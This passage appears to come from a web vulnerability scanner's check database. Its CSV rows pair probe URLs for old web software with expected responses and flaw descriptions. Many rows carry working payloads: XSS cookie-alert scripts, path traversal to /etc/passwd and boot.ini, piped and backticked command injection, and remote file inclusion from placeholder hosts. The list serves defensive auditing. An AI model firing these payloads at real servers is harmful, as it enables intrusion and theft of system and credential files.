"generic","/sysuser/docmgr/mkdir.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/rename.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/rename.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/search.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/search.stm?query=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/sendmail.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/sendmail.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/template.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/update.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/update.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/vccheckin.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/vccheckin.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/vccreate.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/vccreate.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/vchist.stm?name=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/sysuser/docmgr/vchist.stm?path=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/temp/","200","GET","This might be interesting..."
"generic","/template/","200","GET","This may be interesting as the directory may hold sensitive files or reveal system information."
"generic","/templates/form_header.php?noticemsg=<Script>javascript:alert(document.cookie)</Script>","alert(document.cookie)","GET","MyMarket 1.71 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/test/","200","GET","This might be interesting..."
"generic","/testing/","200","GET","This might be interesting..."
"generic","/texis.exe/?-dump","200","GET","Texis installation may reveal sensitive information."
"generic","/texis.exe/?-version","200","GET","Texis installation may reveal sensitive information."
"generic","/themes/mambosimple.php?detection=detected&sitename=</title><script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/ticket.php?id=99999","expects first argument","GET","ZenTrack from http://zentrack.phpzen.net/ versions v2.0.3, v2.0.2beta and older reveal the web root with certain errors."
"generic","/tmp/","200","GET","This might be interesting..."
"generic","/tools/","200","GET","This might be interesting..."
"generic","/TopSitesdirectory/help.php?sid=&lt;script&gt;alert(document.cookie)&lt;/script&gt;","alert(document.cookie)","GET","PHP TopSites allows Cross Site Scripting (XSS). CA-2000-02."
"generic","/trafficlog/","200","GET","This might be interesting..."
"generic","/tree/","200","GET","This might be interesting..."
"generic","/typo3conf/","200","GET","This may contain sensitive Typo3 files."
"generic","/typo3conf/database.sql","200","GET","Typo3 sql file found."
"generic","/typo3conf/localconf.php","200","GET","Typo3 config file found."
"generic","/updates/","200","GET","This might be interesting..."
"generic","/upload.php?type=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/uploader.php","GET","200","This script may allow arbitrary files to be uploaded to the remote server."
"generic","/us/cgi-bin/sewse.exe?d:/internet/sites/us/sewse/jabber/comment2.jse+c:\boot.ini","boot loader","GET","Default scripts can allow arbitrary access to the host."
"generic","/usage/","Generated by The Webalizer","GET","Webalizer may be installed. Versions lower than 2.10-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/user.php?op=userinfo&uname=<script>alert('hi');</script>","<script>alert('hi');</script>","GET","The PhpNuke installation is vulnerable to Cross Site Scripting (XSS). Update to versions above 5.3.1. CA-2000-02."
"generic","/user/","200","GET","This might be interesting..."
"generic","/usercp.php?function=avataroptions:javascript:alert(%27Vulnerable%27)","<script>alert('Vulnerable')</script>","GET","IcrediBB Bulletin Board System is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/userinfo.php?uid=1;","Query","GET","Xoops portal gives detailed error messages including SQL syntax and may allow an exploit."
"generic","/userlog.php","200","GET","Teekai's Tracking Online 1.0 log can be retrieved remotely."
"generic","/users.php?mode=profile&uid=&lt;script&gt;alert(document.cookie)&lt;/script&gt;","<script>alert(document.cookie)</script>","GET","GeekLog 1.3.7 allows Cross Site Scripting (XSS). CA-2000-02."
"generic","/users/","200","GET","This might be interesting..."
"generic","/users/scripts/submit.cgi","200","GET","This might be interesting..."
"generic","/ustats/","200","GET","This might be interesting..."
"generic","/vbcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","uid","GET","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html"
"generic","/vbulletincalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","uid","GET","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html"
"generic","/vchat/msg.txt","200","GET","VChat allows user information to be retrieved."
"generic","/vfs/","200","GET","This might be interesting..."
"generic","/vgn/legacy/save","200","GET","Vignette Legacy Tool may be unprotected. To access this resource, set a cookie called 'vgn_creds' with any value."
"generic","/vgn/license","200","GET","Vignette server license file found."
"generic","/vgn/login","200","GET","Vignette server may allow user enumeration based on the login attempts to this file."
"generic","/vgn/login/1,501,,00.html?cookieName=x--\>","value=\"x--","GET","Vignette server may leak memory with an invalid request. Upgrade to the latest version."
"generic","/vgn/style","200","GET","Vignette server may reveal system information through this file."
"generic","/vider.php3","200","GET","MySimpleNews may allow deleting of news items without authentication."
"generic","/viewimg.php?path=../../../../../../../../../../etc/passwd&form=1&var=1","root:","GET","KorWebLog from http://weblog.kldp.org/ allows any file to be read on the system."
"generic","/viewpage.php?file=/etc/passwd","root:","GET","PHP Nuke script viewpage.php allows any file to be retrieved from the remote system."
"generic","/view_source.jsp","200","GET","Resin 2.1.2 view_source.jsp allows any file on the system to be viewed by using \..\ directory traversal. This script may be vulnerable."
"generic","/w-agora/","200","GET","w-agora pre 4.1.4 may allow a remote user to execute arbitrary PHP scripts via URL includes in include/*.php and user/*.php files. Default account is 'admin' but password set during install."
"generic","/w3perl/admin","200","GET","This might be interesting..."
"generic","/warez/","200","GET","Uh oh..."
"generic","/WEB-INF./web.xml","200","GET","Multiple implementations of j2ee servlet containers allow files to be retrieved from WEB-INF by appending a '.' to the directory name. Products include Sybase EA Service, Oracle Containers, Orion, JRun, HPAS, Pramati and others. See http://www.westpoint.ltd.uk/advisories/wp-02-0002.txt fore more info."
"generic","/web/","200","GET","This might be interesting..."
"generic","/web/","Generated by The Webalizer","GET","Webalizer may be installed. Versions lower than 2.10-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/web800fo/","200","GET","This might be interesting..."
"generic","/webaccess.htm","200","GET","Just found this log file..."
"generic","/webaccess/access-options.txt","200","GET","Just found this file..."
"generic","/webadmin/","200","GET","This might be interesting...may be HostingController, www.hostingcontroller.com"
"generic","/webalizer/","Generated by The Webalizer","GET","Webalizer may be installed. Versions lower than 2.10-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/webboard/","200","GET","This might be interesting..."
"generic","/webcart-lite/","200","GET","This might be interesting..."
"generic","/webcart-lite/config/import.txt","200","GET","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web."
"generic","/webcart-lite/orders/import.txt","200","GET","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web."
"generic","/webcart/","200","GET","This might be interesting..."
"generic","/webcart/carts/","200","GET","This may allow attackers to read credit card data. Reconfigure to make this dir not accessible via the web."
"generic","/webcart/config/","200","GET","This may allow attackers to read credit card data. Reconfigure to make this dir not accessible via the web."
"generic","/webcart/config/clients.txt","200","GET","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web."
"generic","/webcart/orders/","200","GET","This may allow attackers to read credit card data. Reconfigure to make this dir not accessible via the web."
"generic","/webcart/orders/import.txt","200","GET","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web."
"generic","/webchat/register.php?register=yes&username=OverG&email=<script>alert%20(\"Vulnerable\")</script>&email1=<script>alert%20(\"Vulnerable\")</script>","alert(\"Vulnerable\")</script>","GET","PHP Web Chat 2.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/webdata/","200","GET","This might be interesting..."
"generic","/weblog/","200","GET","This might be interesting..."
"generic","/weblogic","index of","GET","Weblogic directory is available with indexing."
"generic","/weblogs/","200","GET","This might be interesting..."
"generic","/webmail/","200","GET","Web based mail package installed."
"generic","/webMathematica/MSP?MSPStoreID=../../../../../../../../../../etc/passwd&MSPStoreType=image/gif","root:","GET","Wolfram Research's webMathematica allows any file to be read on the remote system. Upgrade to the latest version on http://www.wolfram.com/"
"generic","/webMathematica/MSP?MSPStoreID=..\..\..\..\..\..\..\..\..\..\boot.ini&MSPStoreType=image/gif","boot loader","GET","Wolfram Research's webMathematica allows any file to be read on the remote system. Upgrade to the latest version on http://www.wolfram.com/"
"generic","/WebShop/","200","GET","This might be interesting..."
"generic","/WebShop/logs/cc.txt","200","GET","This might be interesting..."
"generic","/WebShop/templates/cc.txt","200","GET","This might be interesting..."
"generic","/website/","200","GET","This might be interesting..."
"generic","/webstats/","200","GET","This might be interesting..."
"generic","/webtools/bonsai/ccvsblame.cgi?file=/index.html&root=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/webtools/bonsai/cvsblame.cgi?file=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/webtools/bonsai/cvslog.cgi?file=*&rev=&root=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/webtools/bonsai/cvslog.cgi?file=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/webtools/bonsai/cvsquery.cgi?branch=<script>alert('Vulnerable')</script>&file=<script>alert(document.domain)</script>&date=<script>alert(document.domain)</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/webtools/bonsai/cvsquery.cgi?module=<script>alert('Vulnerable')</script>&branch=&dir=&file=&who=<script>alert(document.domain)</script>&sortby=Date&hours=2&date=week","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/webtools/bonsai/cvsqueryform.cgi?cvsroot=/cvsroot&module=<script>alert('Vulnerable')</script>&branch=HEAD","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/webtools/bonsai/showcheckins.cgi?person=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/WebTrend/","200","GET","This might be interesting..."
"generic","/Web_store/","200","GET","This might be interesting..."
"generic","/Web_Store/web_store.cgi?page=../../../../../../../../../../etc/passwd%00.html","root:","GET","eXtropia's Web Store lets attackers read any file on the system by appending a %00.html to the name."
"generic","/whateverJUNK(4).html","InterScan HTTP Version","GET","InterScan VirusWall on the remote host reveals its version number in HTTP error messages."
"generic","/wikihome/action/conflict.php","200","GET","Some versions of this script allow external source to be included/run by appending ?TemplateDir=http://my.host/ to requests."
"generic","/wstats/","200","GET","This might be interesting..."
"generic","/WS_FTP.ini","200","GET","Can contain saved passwords for ftp sites"
"generic","/ws_ftp.ini","200","GET","Can contain saved passwords for ftp sites"
"generic","/wusage/","200","GET","This might be interesting..."
"generic","/www-sql/","200","GET","This might be interesting..."
"generic","/www/","200","GET","This might be interesting..."
"generic","/wwwboard/passwd.txt","200","GET","The wwwboard password file is browsable. Change wwwboard to store this file elsewhere, or upgrade to the latest version."
"generic","/wwwboard/wwwboard.cgi","200","GET","This might be interesting..."
"generic","/wwwboard/wwwboard.pl","200","GET","This might be interesting..."
"generic","/wwwjoin/","200","GET","This might be interesting..."
"generic","/wwwlog/","200","GET","This might be interesting..."
"generic","/wwwping/index.stm?wwwsite=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/wwwstats.html","200","GET","Just found this log file..."
"generic","/wwwstats/","200","GET","This might be interesting..."
"generic","/wwwthreads/3tvars.pm","200","GET","This might be interesting..."
"generic","/wwwthreads/w3tvars.pm","200","GET","This might be interesting..."
"generic","/wx/s.dll?d=/boot.ini","boot loader","GET","WebCollection Plus allows any file to be retrieved from the remote system."
"generic","/xdk/","Oracle XML Development","GET","Default Oracle documentation found."
"generic","/xsql/demo/adhocsql/query.xsql?sql=select%20username%20from%20ALL_USERS","USERNAME","GET","This allows attackers to perform queries to the Oracle database. This sample app should be removed."
"generic","/xsql/demo/airport/airport.xsql?xml-stylesheet=none","cvsroot","GET","This is a sample file which should be removed. Oracle XSQL allows arbitrary code to be execute."
"generic","/zipfiles/","200","GET","This might be interesting..."
"generic","/z_user_show.php?method=showuserlink&class=<Script>javascript:alert(document.cookie)</Script>&rollid=admin&x=3da59a9da8825&","<script>alert(document.cookie)</script>","GET","orum 2.4 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/[SecCheck]/..%252f..%252f../ext.ini","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
"generic","/[SecCheck]/..%255c..%255c../ext.ini","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
"generic","/[SecCheck]/..%2f../ext.ini","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
"generic","/_pages","index of","GET","Default directory found."
"generic","/~/<script>alert('Vulnerable')</script>.asp","<script>alert('Vulnerable')</script>","GET","Cross site scripting (XSS) is allowed with .asp file requests (may be Microsoft .net). CA-2000-02"
"generic","/~/<script>alert('Vulnerable')</script>.aspx","<script>alert('Vulnerable')</script>","GET","Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net). CA-2000-02"
"generic","/~/<script>alert('Vulnerable')</script>.aspx?aspxerrorpath=null","<script>alert('Vulnerable')</script>","GET","Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net). CA-2000-02"
"generic","/~root/","200","GET","Allowed to browse root's home directory"
"generic","@CGIDIRS","Index of ","GET","Directory indexing of CGI directory should be disabled."
"generic","@CGIDIRS%2e%2e/abyss.conf","200","GET","The Abyss configuration file was successfully retrieved. Upgrade with the latest version/patches for 1.0 from http://www.aprelium.com/"
"generic","@CGIDIRS.access","200","GET","Contains authorization information"
"generic","@CGIDIRS.cobalt","200","GET","May allow remote admin of CGI scripts."
"generic","@CGIDIRS.cobalt/alert/service.cgi?service=<h1>Hello!</h1><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Cobalt RaQ 4 administration CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02"
"generic","@CGIDIRS.cobalt/alert/service.cgi?service=<img%20src=javascript:alert('Vulnerable')>","alert('Vulnerable')","GET","Cobalt RaQ 4 administration CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRS.cobalt/alert/service.cgi?service=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Cobalt RaQ 4 administration CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRS.fhp","200","GET","This might be interesting..."
"generic","@CGIDIRS.htaccess","200","GET","Contains authorization information"
"generic","@CGIDIRS.htaccess.old","200","GET","Backup/Old copy of .htaccess - Contains authorization information"
"generic","@CGIDIRS.htaccess.save","200","GET","Backup/Old copy of .htaccess - Contains authorization information"
"generic","@CGIDIRS.htaccess~","200","GET","Backup/Old copy of .htaccess - Contains authorization information"
"generic","@CGIDIRS.htpasswd","200","GET","Contains authorization information"
"generic","@CGIDIRS.namazu.cgi","200","GET","Namazu search engine found. Vulnerable to CSS attacks (fixed 2001-11-25). Attacker could write arbitrary files outside docroot (fixed 2000-01-26). CA-2000-02."
"generic","@CGIDIRS.passwd","200","GET","Contains authorization information"
"generic","@CGIDIRS/ans/ans.pl?p=../../../../../usr/bin/id|&blah","uid","GET","Avenger's News System allows commands to be issued remotely."
"generic","@CGIDIRS/astrocam.cgi","200","GET","Astrocam 1.4.1 contained buffer overflow BID-4684. Prior to 2.1.3 contained unspecified security bugs"
"generic","@CGIDIRS/atk/javascript/class.atkdateattribute.js.php?config_atkroot=http://xxxxxxxxxx/","http://xxxxxxxxxx/atk/","GET","Achievo can be made to include php files from another domain. Upgrade to a new version."
"generic","@CGIDIRS/errors/needinit.php?GALLERY_BASEDIR=http://xxxxxxxx/","http://xxxxxxxx/errors/configure_instructions","GET","Gallery 1.3.0 and below allow PHP files to be included from another domain. Upgrade to the latest version."
"generic","@CGIDIRS/GW5/GWWEB.EXE?HELP=bad-request","Could not find file SYS","GET","Groupwise allows system information and file retrieval by modifying arguments to the help system."
"generic","@CGIDIRS/GWWEB.EXE?HELP=bad-request","Could not find file SYS","GET","Groupwise allows system information and file retrieval by modifying arguments to the help system."
"generic","@CGIDIRS/mail/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../../etc/passwd%00","root:","GET","MailReader.com v2.3.31 web package allows remote users to retrieve any system file."
"generic","@CGIDIRS/mt-static/","200","GET","Movable Type weblog found. May contain security problems in CGIs, weak passwords, and more. Default login 'Melody' with password 'Nelson'."
"generic","@CGIDIRS/mt-static/mt-check.cgi","200","GET","Movable Type weblog diagnostic script found. Reveals docroot path, operating system, perl version, and modules."
"generic","@CGIDIRS/mt-static/mt-load.cgi","200","GET","Movable Type weblog installation CGI found. May be able to reconfigure or reload."
"generic","@CGIDIRS/mt/mt.cfg","configuration file","GET","Movable Type configuration file found. Should not be available remotely."
"generic","@CGIDIRS/nimages.php","200","GET","Alpha versions of the Nimages package vulnerable to non specific 'major' security bugs."
"generic","@CGIDIRS/rightfax/fuwww.dll/?","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRS/scripts/*%0a.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRS/SGB_DIR/superguestconfig","200","GET","Super GuestBook 1.0 from lasource.r2.ru stores the admin password in a plain text file."
"generic","@CGIDIRS/smartsearch.cgi","200","GET","To check for remote execution vulnerability use ?keywords=|/bin/ls| or your favorite command"
"generic","@CGIDIRS/smartsearch/smartsearch.cgi","200","GET","To check for remote execution vulnerability use ?keywords=|/bin/ls| or your favorite command"
"generic","@CGIDIRS14all-1.1.cgi?cfg=../../../../../../../../etc/passwd","root:","GET","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version."
"generic","@CGIDIRS14all.cgi?cfg=../../../../../../../../etc/passwd","root:","GET","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version."
"generic","@CGIDIRSa1disp3.cgi?../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers read arbitrary files on the host."
"generic","@CGIDIRSa1stats/a1disp3.cgi?../../../../../../../../../../etc/passwd","root:","GET","This CGI allows attackers read arbitrary files on the host."
"generic","@CGIDIRSa1stats/a1disp3.cgi?../../../../../../../etc/passwd","root:","GET","Remote file retrieval."
"generic","@CGIDIRSa1stats/a1disp4.cgi?../../../../../../../etc/passwd","root:","GET","Remote file retrieval."
"generic","@CGIDIRSaddbanner.cgi","200","GET","This CGI may allow attackers to read any file on the system."
"generic","@CGIDIRSadduser.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSadd_ftp.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSadmin.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSadmin.cgi?list=../../../../../../../../../../etc/passwd","root:","GET","Add2it Mailman Free V1.73 allows arbitrary files to be retrieved."
"generic","@CGIDIRSadmin.php","200","GET","This might be interesting..."
"generic","@CGIDIRSadmin.php3","200","GET","This might be interesting..."
"generic","@CGIDIRSadmin.pl","200","GET","Might be interesting"
"generic","@CGIDIRSadminhot.cgi","200","GET","This might be interesting... has been seen in web logs from another CGI scanner."
"generic","@CGIDIRSadminwww.cgi","200","GET","This might be interesting... has been seen in web logs from another CGI scanner."
"generic","@CGIDIRSaf.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd","root:","GET","AlienForm2 revision 1.5 allows any file to be read from the remote system."
"generic","@CGIDIRSaglimpse","200","GET","This CGI may allow attackers to execute remote commands."
"generic","@CGIDIRSaglimpse.cgi","200","GET","This CGI may allow attackers to execute remote commands."
"generic","@CGIDIRSAlbum?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0","resolv.conf","GET","This CGI allows attackers to view arbitrary files on the host."
"generic","@CGIDIRSalibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,","boot.ini","GET","This CGI allows attackers to execute arbitrary commands on the server."
"generic","@CGIDIRSalienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd","root:","GET","AlienForm2 revision 1.5 allows any file to be read from the remote system."
"generic","@CGIDIRSamadmin.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSanacondaclip.pl?template=../../../../../../../../../../etc/passwd","root:","GET","This allows attackers to read arbitrary files from the server."
"generic","@CGIDIRSans.pl?p=../../../../../usr/bin/id|&blah","uid","GET","Avenger's News System allows commands to be issued remotely."
"generic","@CGIDIRSAnyBoard.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSAnyForm","200","GET","This might be interesting..."
"generic","@CGIDIRSAnyForm2","200","GET","This might be interesting..."
"generic","@CGIDIRSapexec.pl?etype=odp&template=../../../../../../../../../../etc/passwd%00.html&passurl=/category/","root:","GET","This allows attackers to read arbitrary files from the server."
"generic","@CGIDIRSarchitext_query.cgi","200","GET","Versions older than 1.1 of Excite for Web Servers allow attackers to execute arbitrary commands."
"generic","@CGIDIRSarchitext_query.pl","200","GET","Versions older than 1.1 of Excite for Web Servers allow attackers to execute arbitrary commands."
"generic","@CGIDIRSash","200","GET","Shell found in CGI dir!"
"generic","@CGIDIRSAT-admin.cgi","200","GET","Admin interface...no known holes"
"generic","@CGIDIRSAT-generate.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSathcgi.exe?command=showpage&script='],[0,0]];alert('Vulnerable');a=[['","<script>alert('Vulnerable')</script>","GET","Authoria HR Suite is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSauction/auction.cgi?action=Sort_Page&View=Search&Page=0&Cat_ID=&Lang=English&Search=All&Terms=<script>alert('Vulnerable');</script>&Where=&Sort=Photo&Dir=","<script>alert('Vulnerable')</script>","GET","Mewsoft Auction 3.0 from http://www.mewsoft.com/ is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSauktion.cgi?menue=../../../../../../../../../../etc/passwd","root:","GET","The CGI allows attackers to read arbitrary files remotely."
"generic","@CGIDIRSauth_data/auth_user_file.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
"generic","@CGIDIRSawl/auctionweaver.pl","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSawstats.pl","Traffic","GET","Free realtime logfile analyzer for advanced web statistics. Should be protected."
"generic","@CGIDIRSax-admin.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSax.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSaxs.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSbadmin.cgi","200","GET","BannerWheel v1.0 is vulnerable to a local buffer overflow. If this is version 1.0 it should be upgrade."
"generic","@CGIDIRSbanner.cgi","200","GET","This CGI may allow attackers to read any file on the system."
"generic","@CGIDIRSbannereditor.cgi","200","GET","This CGI may allow attackers to read any file on the system."
"generic","@CGIDIRSbash","200","GET","Shell found in CGI dir!"
"generic","@CGIDIRSbb-hist.sh?HISTFILE=../../../../../../../../../../etc/passwd","root:","GET","Versions 1.09b or1.09c of BigBrother allow attackers to read arbitrary files."
"generic","@CGIDIRSbb-hist?HISTFILE=../../../../../../../../../../etc/passwd","root:","GET","Versions 1.09b or1.09c of BigBrother allow attackers to read arbitrary files."
"generic","@CGIDIRSbb-histlog.sh","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSbb-hostsvc.sh?HOSTSVC=../../../../../../../../../../etc/passwd","root:","GET","Versions of BigBrother 1.4h or older allow attackers to read arbitrary files on the system."
"generic","@CGIDIRSbbs_forum.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSbb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK","root:","GET","The PHPNuke admin.php is vulnerable to a remote file retrieval vul. It should be upgraded to the latest version. CAN-2001-0320"
"generic","@CGIDIRSbetsie/parserl.pl/<script>alert('Vulnerable')</script>;","<script>alert('Vulnerable')</script>","GET","BBC Education Text to Speech Internet Enhancer from http://www.bbc.co.uk/education/betsie/ allows Cross Site Scripting (XSS). CA-2000-02."
"generic","@CGIDIRSbigconf.cgi?command=view_textfile&file=/etc/passwd&filters=","root:","GET","This CGI allows attackers to read arbitrary files on the host."
"generic","@CGIDIRSbizdb1-search.cgi","200","GET","This CGI may allow attackers to execute commands remotely. See http://www.hack.co.za/daem0n/cgi/cgi/bizdb.htm"
"generic","@CGIDIRSbnbform","200","GET","This might be interesting..."
"generic","@CGIDIRSbnbform.cgi","200","GET","This might be interesting..."
"generic","@CGIDIRSbook.cgi?action=default&current=|cat%20/etc/passwd|&form_tid=996604045&prev=main.html&list_message_index=10","root:","GET","This CGI allows attackers to read arbitrary files on the server."
"generic","@CGIDIRSboozt/admin/index.cgi?section=5&input=1","200","GET","Boozt CGI may have a buffer overflow. Upgrade to a version new than 0.9.8alpha."
"generic","@CGIDIRSbsguest.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSbslist.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSbulk/bulk.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRSc32web.exe/ChangeAdminPassword","200","GET","This CGI may contain a backdoor and may allow attackers to change the Cart32 admin password."
"generic","@CGIDIRScached_feed.cgi","200","GET","This might be interesting... has been seen in web logs from a scanner."
"generic","@CGIDIRScachemgr.cgi","200","GET","Manager for squid proxy; problem with RedHat 6 making it public, can allow attacker to perform port scans."
"generic","@CGIDIRScalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","uid","GET","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html"
"generic","@CGIDIRScalendar/calendar_admin.pl?config=|cat%20/etc/passwd|","root:","GET","This CGI allows attackers to read arbitrary files on the host."
"generic","@CGIDIRScalendar/index.cgi","200","GET","Mike's Calendar CGI contained a bug which allowed arbitrary command execution (version 1.4), see http://freshmeat.net/projects/mycalendar/"
"generic","@CGIDIRScalendar_admin.pl?config=|cat%20/etc/passwd|","root:","GET","This CGI allows attackers to read arbitrary files on the host."
